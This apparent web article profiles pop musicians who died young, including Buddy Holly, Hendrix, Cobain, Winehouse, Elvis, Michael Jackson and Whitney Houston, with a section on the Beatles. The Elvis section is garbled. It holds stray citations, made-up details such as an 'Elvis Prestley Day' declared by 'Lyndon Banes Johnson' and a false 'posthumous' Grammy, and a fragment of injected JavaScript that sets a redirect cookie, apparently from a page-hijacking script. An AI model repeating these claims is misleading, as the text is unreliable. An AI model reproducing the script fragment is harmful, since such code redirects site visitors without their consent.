Who Pushed the Boundaries of Pop Music and Why They Died

The history of pop music is filled with artists who pushed the boundaries of the genre and died young. From Buddy Holly to Amy Winehouse, these are the stories of the musicians who changed pop music forever.

Introduction

In the history of popular music, there have been a handful of artists who have pushed the boundaries of the genre and died young. This list includes some of the most influential artists of their time, who left us too soon.

-Buddy Holly: Holly was one of the pioneers of rock and roll, and his songs are still widely covered today. He died in a plane crash in 1959, at the age of 22.
-Jimi Hendrix: Hendrix was a virtuoso guitarist and one of the most influential musicians of his generation. He died of a drug overdose in 1970, at the age of 27.
-Kurt Cobain: Cobain was the frontman for Nirvana, one of the most successful grunge bands of all time. He committed suicide in 1994, at the age of 27.
-Amy Winehouse: Winehouse was a talented singer-songwriter whose life was marred by drug and alcohol addiction. She died of alcohol poisoning in 2011, at the age of 27.

The Beatles

The Beatles were an English rock band formed in Liverpool in 1960. With members John Lennon, Paul McCartney, George Harrison and Ringo Starr, they became widely regarded as the foremost and most influential music band in history. Rooted in skiffle, beat and 1950s rock and roll, the Beatles later experimented with several musical styles, ranging from pop ballads and Indian music to psychedelia and hard rock, often incorporating classical elements and unconventional recording techniques in innovative ways. In 1963, their enormous popularity first emerged as “Beatlemania”; as the group’s music grew in sophistication, led by primary songwriters Lennon and McCartney, they came to be perceived by many as an embodiment of the ideals shared by the era’s sociocultural revolutions.

The Beatles built their reputation playing clubs in Liverpool and Hamburg over a three-year period from 1960, with Stuart Sutcliffe initially serving as bass player. The core trio of Lennon, McCartney and Harrison, together since 1958, went through a succession of drummers, including Pete Best before asking Starr to join them in 1962. Manager Brian Epstein moulded them into a professional actFacebookTwitterPinterestYouTubeInstagramand producer George Martin guided and developed their recordings increasing levels of success. As their popularity grew into feverish intensity, tensions also started to arise within the group.”

Elvis Presley

Elvis Presley was an American singer and actor. He is regarded as one of the most significant cultural icons of the 20th century and is often referred to as the “King of Rock and Roll” or simply “the King”. Presley was born in Tupelo, Mississippi, and relocated to Memphis, Tennessee, with his family when he was 13 years old. His music career began there in 1954, recording at Sun Records with producer Sam Phillips, who wanted to bring the sound of African-American music to a wider audience. Presley’s first RCA single, “Heartbreak Hotel”, was released in January 1956 and became a number-one hit in the United States. He was regarded as the leading figure of rock and roll after a series of successful network television appearances and chart-topping records. His frantic style came to be known as rockabilly.

In November 1956, Presley made his film debut in Love Me Tender. Drafted into military service in 1958, he temporarily halted his acting career. He returned to the screen in 1960 with G.I. Blues but was also regularly criticized by the film critics of The New York Times3and Variety. In late 1961, his concerts were both selling out faster than he could play them and drawing much negative press due to what some saw as outrageous behavior for a public figure. In 1962, Presley began attending gospel music concerts with Jules Blunk, an experience which deepened his interest in gospel music.[17] That spring he cut another gospel album at Sunset Sound Recorders Titled How Great Thou Art which won a posthumous Grammy for Best Sacred Performance.[18][19]

In November 1963, Presley was honored with the groudbreaking “Elvis Prestley Day” declaration by then U.S President Lyndon Banes Johnson making him an honorary citizen of Memphis while performing two sold out shows at Mid-South Coliseum.[20][21] After less successful movies and a brief return to live performances and recordings,[N 1] by 1967 Presley’s bad health,[22][23] dependence on medications,[24]:136 financial problems,[25][26]”); drugs[27][28]and deteriorating relationship with Parker had become acute.”); By 1968 he had returned to live performing in a more subdued style but still drew large crowds.[29][30]”})var now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date

Michael Jackson

Michael Jackson was a musical genius who pushed the boundaries of pop music and changed the face of the genre forever. He was a master of showmanship and an incredible dancer, and his music videos were like mini-movies that told stories and tugged at heartstrings. His voice was smooth and sweet, but he could also belt out a powerful tune when he needed to. He was a true pioneer in the world of pop music, and his influence is still felt today.

Sadly, Michael Jackson died tragically young at the age of 50. His death shocked the world and left a huge void in the music industry. We may never know exactly what happened that fateful day, but one thing is for sure – Michael Jackson was one of a kind, and he will be deeply missed.

Whitney Houston

If there is one voice that personifies the term “diva”, it is Whitney Houston. A powerhouse vocalist with a tremendous range, Whitney’s voice was both distinctive and unforgettable. She has been cited as an influence by many other singers, including Mariah Carey, Beyoncé, Alicia Keys and Christina Aguilera.

Whitney Houston was one of the most successful pop artists of all time, selling over 200 million records worldwide. Her debut album, Whitney Houston, was released in 1985 and soared to the top of the charts, eventually becoming the best-selling debut album by a woman in history. Her follow-up album, 1987’s Whitney, was also highly successful and produced several hits, including “I Wanna Dance with Somebody (Who Loves Me)” and “Didn’t We Almost Have It All”.

Sadly, Whitney Houston died in 2012 at the age of 48. Her death was ruled a drowning, but heart disease and cocaine use were contributing factors.

Conclusion

In conclusion, the artists who pushed the boundaries of pop music were often times personal innovators who created new sounds and styles that hadn’t been heard before. They brought forth a new era of music that would change the world forever. Unfortunately, many of these artists met untimely deaths, which only added to their legend. Nevertheless, their contributions to pop music continue to influence the industry today.